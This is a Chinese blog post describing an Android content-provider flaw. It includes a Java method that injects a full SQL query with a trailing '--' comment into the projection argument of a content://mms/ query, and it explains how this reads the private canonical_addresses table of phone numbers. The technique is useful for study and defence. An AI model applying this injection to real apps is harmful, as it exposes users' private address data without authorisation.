首页 > 代码库 > android利用provider查询同一个数据库中没有对外暴露出来的表

android利用provider查询同一个数据库中没有对外暴露出来的表

【原创】转载请加本篇博客地址http://www.cnblogs.com/scarecrow-blog/p/6266042.html

个人感觉这是android provider 的一个漏洞, 废话少说直接上代码

 1     public String getCanonicalAddresses(String recipient_ids){
 2         String[] ids=recipient_ids.split(" ");
 3         System.out.println("recipient_ids:"+recipient_ids);
 4         String addressResult="";
 5         for (int i = 0; i < ids.length; i++) {
 6             Cursor cur=ReadSmsActivity.this.getContentResolver().query(Uri.parse("content://mms/"), 
 7                     new String[]{" * from canonical_addresses where _id="+ids[i].toString()+" --"}, null,null,null);
 8             if(cur.getCount()>0){
 9                 while (cur.moveToNext()){
10                     String _id=cur.getString(cur.getColumnIndex("_id"));
11                     String address=cur.getString(cur.getColumnIndex("address"));
12                     addressResult+="{"+_id+","+address+"}";
13                 }
14             }
15         }
16         return addressResult;
17     }

看第6和第7行,mms provider 实际上查询彩信相关的内容,并没有提供canonical-address的查询功能。 但是上面这种写法,通过在query方法入参的projection中直接写上几乎整条查询语句,并在后面加上“--” 实现了通过mms provider直接查询db中canonical_addresses表的功能。

原理:

大家都知道 projection中通常都是要查的表中的各个列名, 所以最后拼出来放到数据库中执行的sql语句类似于 SELECT projection FROM table where ....

但是这里讲projection完全替换成另一个完整的语句, 所以最后拼出来的样子大致是 SELECT * from canonical_addresses where _id="2" -- FROM table where ....

 

Sql 中“--” 是注释的意思。 这个方法正是利用了这一点, 把原来provider通过URI限定的查询语句偷换成了另外一个查询语句,从而得到了一个私有表的查询结果。

android利用provider查询同一个数据库中没有对外暴露出来的表